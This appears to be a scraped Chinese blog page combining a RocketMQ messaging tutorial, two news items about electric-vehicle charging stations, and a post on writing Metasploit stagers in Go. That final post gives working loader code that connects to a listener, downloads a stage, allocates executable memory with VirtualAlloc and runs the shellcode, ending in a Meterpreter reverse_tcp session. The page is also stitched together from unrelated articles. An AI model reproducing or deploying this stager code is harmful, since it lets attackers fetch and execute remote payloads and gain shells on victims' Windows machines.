發送消息失敗！result is : org.apache.rocketmq.remoting.exception.RemotingConnectException: connect to [124.57.180.156:9876] failed

為啥報錯了？很簡單，他是異步的，從結果就能看出來，由於是異步的，我還沒發送到mq呢，你就先給我shutdown了。肯定不行，所以我們在shutdown前面sleep 1s在看效果

public class ProducerASync {
    public static void main(String[] args) throws Exception {
       // 指定生產組名為my-producer
        DefaultMQProducer producer = new DefaultMQProducer("my-producer");
        // 配置namesrv地址
        producer.setNamesrvAddr("124.57.180.156:9876");
        // 啟動Producer
        producer.start();

        // 創建消息對象，topic為：myTopic001，消息內容為：hello world async
        Message msg = new Message("myTopic001", "hello world async".getBytes());
        // 進行異步發送，通過SendCallback接口來得知發送的結果
        producer.send(msg, new SendCallback() {
            // 發送成功的回調接口
            @Override
            public void onSuccess(SendResult sendResult) {
                System.out.println("發送消息成功！result is : " + sendResult);
            }
            // 發送失敗的回調接口
            @Override
            public void onException(Throwable throwable) {
                throwable.printStackTrace();
                System.out.println("發送消息失敗！result is : " + throwable.getMessage());
            }
        });

        Thread.sleep(1000);

        producer.shutdown();
        System.out.println("生產者 shutdown！");
    }
}

輸出結果：

發送消息成功！result is : SendResult [sendStatus=SEND_OK, msgId=A9FE854106E418B4AAC26F8719B20000, offsetMsgId=7B39B49D00002A9F0000000000058CFC, messageQueue=MessageQueue [topic=myTopic001, brokerName=broker-a, queueId=1], queueOffset=2]
生產者 shutdown！

1.4、sendOneway

public class ProducerOneWay {
    public static void main(String[] args) throws Exception {
        // 指定生產組名為my-producer
        DefaultMQProducer producer = new DefaultMQProducer("my-producer");
        // 配置namesrv地址
        producer.setNamesrvAddr("124.57.180.156:9876");
        // 啟動Producer
        producer.start();

        // 創建消息對象，topic為：myTopic001，消息內容為：hello world oneway
        Message msg = new Message("myTopic001", "hello world oneway".getBytes());
        // 效率最高，因為oneway不關心是否發送成功，我就投遞一下我就不管了。所以返回是void
        producer.sendOneway(msg);
        System.out.println("投遞消息成功！，注意這裡是投遞成功，而不是發送消息成功哦！因為我sendOneway也不知道到底成沒成功，我沒返回值的。");
        producer.shutdown();
        System.out.println("生產者 shutdown！");
    }
}

輸出結果：

投遞消息成功！，注意這裡是投遞成功，而不是發送消息成功哦！因為我sendOneway也不知道到底成沒成功，我沒返回值的。
生產者 shutdown！

1.5、效率對比

sendOneway > sendCallBack > send批量 > send單條

很容易理解，sendOneway不求結果，我就負責投遞，我不管你失敗還是成功，相當於中轉站，來了我就扔出去，我不進行任何其他處理。所以最快。

而sendCallBack是異步發送肯定比同步的效率高。

send批量和send單條的效率也是分情況的，如果只有1條msg要發，那還搞毛批量，直接send單條完事。

2、Consumer

每個consumer只能關注一個topic。

發消息肯定要必備如下幾個條件：

指定消費組名（不能用默認的，會報錯）
配置namesrv地址（必須）
指定topic name（必須）
指定tag/key（可選）

2.1、CLUSTERING

集群模式，默認。

比如啟動五個Consumer，Producer生產一條消息后，Broker會選擇五個Consumer中的其中一個進行消費這條消息，所以他屬於點對點消費模式。

public class Consumer {
    public static void main(String[] args) throws Exception {
        // 指定消費組名為my-consumer
        DefaultMQPushConsumer consumer = new DefaultMQPushConsumer("my-consumer");
        // 配置namesrv地址
        consumer.setNamesrvAddr("124.57.180.156:9876");
        // 訂閱topic：myTopic001 下的全部消息（因為是*，*指定的是tag標籤，代表全部消息，不進行任何過濾）
        consumer.subscribe("myTopic001", "*");
        // 註冊監聽器，進行消息消息。
        consumer.registerMessageListener(new MessageListenerConcurrently() {
            @Override
            public ConsumeConcurrentlyStatus consumeMessage(List<MessageExt> msgs, ConsumeConcurrentlyContext consumeConcurrentlyContext) {
                for (MessageExt msg : msgs) {
                    String str = new String(msg.getBody());
                    // 輸出消息內容
                    System.out.println(str);
                }
                // 默認情況下，這條消息只會被一個consumer消費，這叫點對點消費模式。也就是集群模式。
                // ack確認
                return ConsumeConcurrentlyStatus.CONSUME_SUCCESS;
            }
        });
        // 啟動消費者
        consumer.start();
        System.out.println("Consumer start");
    }
}

2.2、BROADCASTING

廣播模式。

比如啟動五個Consumer，Producer生產一條消息后，Broker會把這條消息廣播到五個Consumer中，這五個Consumer分別消費一次，每個都消費一次。

// 代碼里只需要添加如下這句話即可：
consumer.setMessageModel(MessageModel.BROADCASTING);

2.3、兩種模式對比

集群默認是默認的，廣播模式是需要手動配置。
一條消息：集群模式下的多個Consumer只會有一個Consumer消費。廣播模式下的每一個Consumer都會消費這條消息。
廣播模式下，發送一條消息后，會被當前被廣播的所有Consumer消費，但是後面新加入的Consumer不會消費這條消息，很好理解：村裡面大喇叭喊了全村來領雞蛋，第二天你們村新來個人，那個人肯定聽不到昨天大喇叭喊的消息呀。

3、TAG&&KEY

發送/消費消息的時候可以指定tag/key來進行過濾消息，支持通配符。*代表消費此topic下的全部消息，不進行過濾。

看下org.apache.rocketmq.common.message.Message源碼可以發現發消息的時候可以指定tag和keys：

public Message(String topic, String tags, String keys, byte[] body) {
    this(topic, tags, keys, 0, body, true);
}

比如：

public class ProducerTagsKeys {
    public static void main(String[] args) throws Exception {
        // 指定生產組名為my-producer
        DefaultMQProducer producer = new DefaultMQProducer("my-producer");
        // 配置namesrv地址
        producer.setNamesrvAddr("124.57.180.156:9876");
        // 啟動Producer
        producer.start();
        // 創建消息對象，topic為：myTopic001，消息內容為：hello world，且tags為：test-tags，keys為test-keys
        Message msg = new Message("myTopic001", "test-tags", "test-keys", "hello world".getBytes());
        // 發送消息到mq，同步的
        SendResult result = producer.send(msg);
        System.out.println("發送消息成功！result is : " + result);
        // 關閉Producer
        producer.shutdown();
        System.out.println("生產者 shutdown！");
    }
}

輸出結果：

發送消息成功！result is : SendResult [sendStatus=SEND_OK, msgId=A9FE854149DC18B4AAC26FA4B7200000, offsetMsgId=7B39B49D00002A9F0000000000058DA6, messageQueue=MessageQueue [topic=myTopic001, brokerName=broker-a, queueId=3], queueOffset=3]
生產者 shutdown！

查看管控台，可以發現tags和keys已經生效了：

消費的時候如果指定*那就是此topic下的全部消息，我們可以指定前綴通配符，比如：

// 這樣就只會消費myTopic001下的tag為test-*開頭的消息。
consumer.subscribe("myTopic001", "test-*");

// 代表訂閱Topic為myTopic001下的tag為TagA或TagB的所有消息
consumer.subscribe("myTopic001", "TagA||TagB");

還支持SQL表達式過濾，不是很常用。不BB了。

4、常見錯誤

4.1、sendDefaultImpl call timeout

4.1.1、異常

Exception in thread "main" org.apache.rocketmq.remoting.exception.RemotingTooMuchRequestException: sendDefaultImpl call timeout
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.sendDefaultImpl(DefaultMQProducerImpl.java:666)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.send(DefaultMQProducerImpl.java:1342)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.send(DefaultMQProducerImpl.java:1288)
    at org.apache.rocketmq.client.producer.DefaultMQProducer.send(DefaultMQProducer.java:324)
    at com.chentongwei.mq.rocketmq.Producer.main(Producer.java:18)

4.1.2、解決

1.如果你是雲服務器，首先檢查安全組是否允許9876這個端口訪問，是否開啟了防火牆，如果開啟了的話是否將9876映射了出去。

2.修改配置文件broker.conf，加上：

brokerIP1=我用的是阿里雲服務器，這裡是我的公網IP

啟動namesrv和broker的時候加上本機IP（我用的是阿里雲服務器，這裡是我的公網IP）：

./bin/mqnamesrv -n IP:9876
./bin/mqbroker -n IP:9876 -c conf/broker.conf

4.2、No route info of this topic

4.2.1、異常

Exception in thread "main" org.apache.rocketmq.client.exception.MQClientException: No route info of this topic: myTopic001
See http://rocketmq.apache.org/docs/faq/ for further details.
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.sendDefaultImpl(DefaultMQProducerImpl.java:684)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.send(DefaultMQProducerImpl.java:1342)
    at org.apache.rocketmq.client.impl.producer.DefaultMQProducerImpl.send(DefaultMQProducerImpl.java:1288)
    at org.apache.rocketmq.client.producer.DefaultMQProducer.send(DefaultMQProducer.java:324)
    at com.chentongwei.mq.rocketmq.Producer.main(Producer.java:18)

4.2.2、解決

很明顯發送成功了，不再是剛才的超時了，但是告訴我們沒有這個topic。那不能每次都手動創建呀，所以啟動broker的時候可以指定參數讓broker為我們自動創建。如下

./bin/mqbroker -n IP:9876 -c conf/broker.conf autoCreateTopicEnable=true

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2020-07-132020-07-13 admin

在美國，許多人都擁有寬敞的車庫，買了電動車就在車庫中設置充電座，然而若是市區中的大樓住戶，只能停在大樓地下室密密麻麻的停車格，買電動車可就麻煩了。電動車充電座製造商 ChargePoint 看見了這個問題，計劃推出公寓大樓用電動車充電座，解除大樓住戶購買電動車的障礙。
《富比世》報導，當特斯拉 Model S 電動車上市時，Gogoro 創辦人陸學森原本想要擁有一輛，但是第一個問題是在台灣沒有上市，就算進口一輛，台灣的住處大樓沒有獨立車庫，無法安裝幫 Model S 電動車充電的充電座，若非要開 Model S 電動車，只能在公司裝設充電座在公司充電，但這樣一來，週末就無法開出去兜風，豈不是大煞風景，最後陸學森在女友說服下，還是打退堂鼓。這個困擾，其實也是各國所有大樓住戶的困擾，雖然以美國來說，如加州等地區路上設有充電站，不過電動車車主總是想要在家把電充飽飽才開出門，以免半路沒電，據美國能源部統計，80% 電動車都是在家充電，要是在家不能充電，購買電動車的意願就會降低，ChargePoint 執行長帕斯奎‧羅曼諾（Pasquale Romano）表示，除了少數例外，住大樓的人通常不買電動車，正是因為如此。那要如何改善這個情況？羅曼諾認為，過去為了讓少數電動車主能在大樓停車場充電，大樓業主得全數自掏腰包在停車場設置充電座，投資風險很高，因此意願低落，但大樓業主如果並不用負擔充電座的設置費用，像大樓附設的投幣式自助洗衣機一樣，由業者來設置機器，這樣就成了。
可吸引高收入使用者 2015 年 4 月，ChargePoint 宣布推出大樓專用的充電座系統，大樓業主不用負擔設置費用，這部分完全由 ChargePoint 吸收，大樓業主只需要為充電座連接電力即可，ChargePoint 會向用戶收取每月 39.99 美元的月費，電費部分則由住戶直接交給大樓業主，如果有電動車的住戶搬走了，ChargePoint 可以暫時關閉住戶所屬停車格的充電座，直到下一位有電動車的住戶入住才重新啟動，這樣一來，大樓業主的風險可說降到極低，勢必能提高安裝充電座的意願。對大樓來說，提供停車場充電座設施，可吸引電動車車主，讓大樓更快租出，電動車車主又通常是高收入、高社經地位的良好住戶，對大樓有額外幫助；而對 ChargePoint 來說，能打進大樓這片處女地，是開拓新市場的絕佳機會，估計至 2020 年，美國將有 230 萬電動車主，其中有 10% 將會住在大樓內，這種合作方式對大樓與 ChargePoint 可說是雙贏局面。想出免費贈送充電座商業模式的也不只 ChargePoint，曾經推出低價「開源碼」充電座的新創事業 EMotorWerks，2014 年推出特別活動，免費贈送原本售價 299 美元的 JuiceBox 充電座，條件是用戶要有可用的 Wi-Fi，讓充電座能將資訊傳給 EMotorWerks，以及用戶同意可由 EMotorWerks 來調整充電速度。

用戶只需要在行動裝置的專屬 App 上，告訴 EMotorWerks 何時要用車要充飽電力，EMotorWerks 會根據電力的離峰尖峰情況，自動調整充電速度，盡可能讓電力都在離峰時充電。在加州，尖峰電價可能高出平均電價 30 倍以上，避開尖峰時段充電可以為用戶節省大量電費；另一方面，也相當於為電網平衡離尖峰電力需求，如夜間風力發電過剩，可加速充電把多餘的電力用掉，尖峰時暫停充電，緩和尖峰負載。 EMotorWerks 未來的營收可望來自為用戶節省電費的服務、為電網調節平衡的服務，以及出售所收集的數據，為此，免費贈送充電座也划算。 EMotorWerks 的點子，也可能為 ChargePoint 採用，ChargePoint 充電座也可能成為大樓業主調節電力負載與電費支出的利器。無論如何，在充電座業者的推波助瀾下，電動車的充電障礙，將漸漸減輕。本文全文授權轉載自《科技新報》─〈〉

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廣州商場喜迎「全能」電動車充電站今年將建300個

2020-07-132020-07-13 admin

4月30日，廣州市首個設置在商場內電動車「全能」充電樁在高德置地廣場啟用。這種充電站可為所有型號的電動車充電，每次充電2~3個小時，每小時的費用在4元人民幣至10元人民幣之間，約可行駛25至50公里，一般車輛可走一天。未來車主還可以用手機app軟體即時查詢附近充電樁位置以預約充電。依威能源方面表示，目前在全國範圍內已完成超過150個電動車智慧充電站的鋪設，今年內將在廣州至少建300個這樣的充電站，地點將設在商場、社區、辦公樓等。目前廣州有新能源汽車4000多輛，其中公車佔有大部分。廣州市政府已經在大學城、跑馬場、花都區先後配備了500多個充電設施，也在30多個公交站場配備了210個專門為600多部電動汽車、公交汽車充電的設施。此外，特斯拉電動車也在廣州的商場、酒店和社區建了幾個專用充電站。

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msf stagers開發不完全指北(二)

2020-07-102020-07-10 admin

採用 Golang 開發stagers

上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發，這篇文章我們探討一下如何使用 Golang 實現同樣的功能

思路梳理

在 Golang 中一點比較重要的是，我們如何能夠獲取到 socket 的文件描述符，除此之外，我們還是同樣的步驟

向 msf 監聽地址發起 tcp 請求
獲取 stages
將 socket fd 放入寄存器 edi
從起始地址開始執行 stages

編譯環境

OS: Windows 10
Golang: go version go1.14.1 windows/amd64

獲取stages

socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
    return err
}

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
}
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
}
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")
}

這裡有幾點我們需要注意的地方，第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32，你可以理解為 python 中的 struct 庫，第二個是我們慣用的從 socket 連接讀取數據使用的是 Read，但是並不能讀全，和網絡有關係，需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 后，我們可以進行下一步操作了。

socket fd 放入 edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

這部分代碼就是我上面所說的難點了，首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一個接口 type Conn interface ，我們需要找到他的真實類型，繼續往裡面跟我們會發現他的真實類型是 *net.TCPConn，為什麼要做這一步？

我們先看看這個結構體

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
	conn
}

type conn struct {
	fd *netFD
}

我們其實需要的是裏面的文件描述符，我們再往裡跟一下

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr
}

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind
}

可以看到 Sysfd 是文件描述符，也就是我們想要的，我們需要取一下，這裏因為 Golang 裏面小寫開頭的字段是不導出的，我們需要使用反射取一下

注意：可能因為 Golang 版本不一致，這個結構有所更改，請自行考證一下，主要原因是非導出字段，官方是不保證向下兼容性的

所以獲取文件描述符的代碼就是

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

文件描述符是 handle 所指向的值，這裏需要注意一下

然後後面的還是我們之前的操作，使用 binary 包把 uint32 轉為 4bytes 數組

然後我們需要把 socket fd 放入 edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

把 mov edi, xxxx 放到了 stages 頭部

執行stages

一切的準備工作都做完了，下面就是開始準備執行了，類似執行 shellcode 的方式，這裏的實現方式八仙過海各顯神通了，我這裏只給我我這裏的實現方式

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
    append(
        payload,
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
    )...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

這裏的一串奇奇怪怪的字符可以不用加，只是為了遵守 plan9 彙編的調用約定，一些 push 保存堆棧現場和 pop 還原

然後就是先通過申請 VirtualAlloc 一塊可讀可寫可執行的內存，然後使用 RtlCopyMemory 把 stages 字節碼拷貝進去，然後開始跑。

這裏的 windows api 使用的聲明如下

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

這裏其實你也可以使用 x/windows 庫方便使用。

結果展示

64位編譯出來 1.73M，通過 upx 壓縮后 616kb，32位編譯出來會更小

執行試試

監聽 payload windows/x64/meterpreter/reverse_tcp ，可以看到成功上線

注意事項

可能因為 Golang 版本不一致，這個結構有所更改，請自行考證一下，主要原因是非導出字段，官方是不保證向下兼容性的
依然需要注意位數的差異，比如32位的payload請使用32位編譯，64位payload使用64位編譯

成果源碼

成果源碼我就不貼出來了，其實也是這些代碼組合在一起

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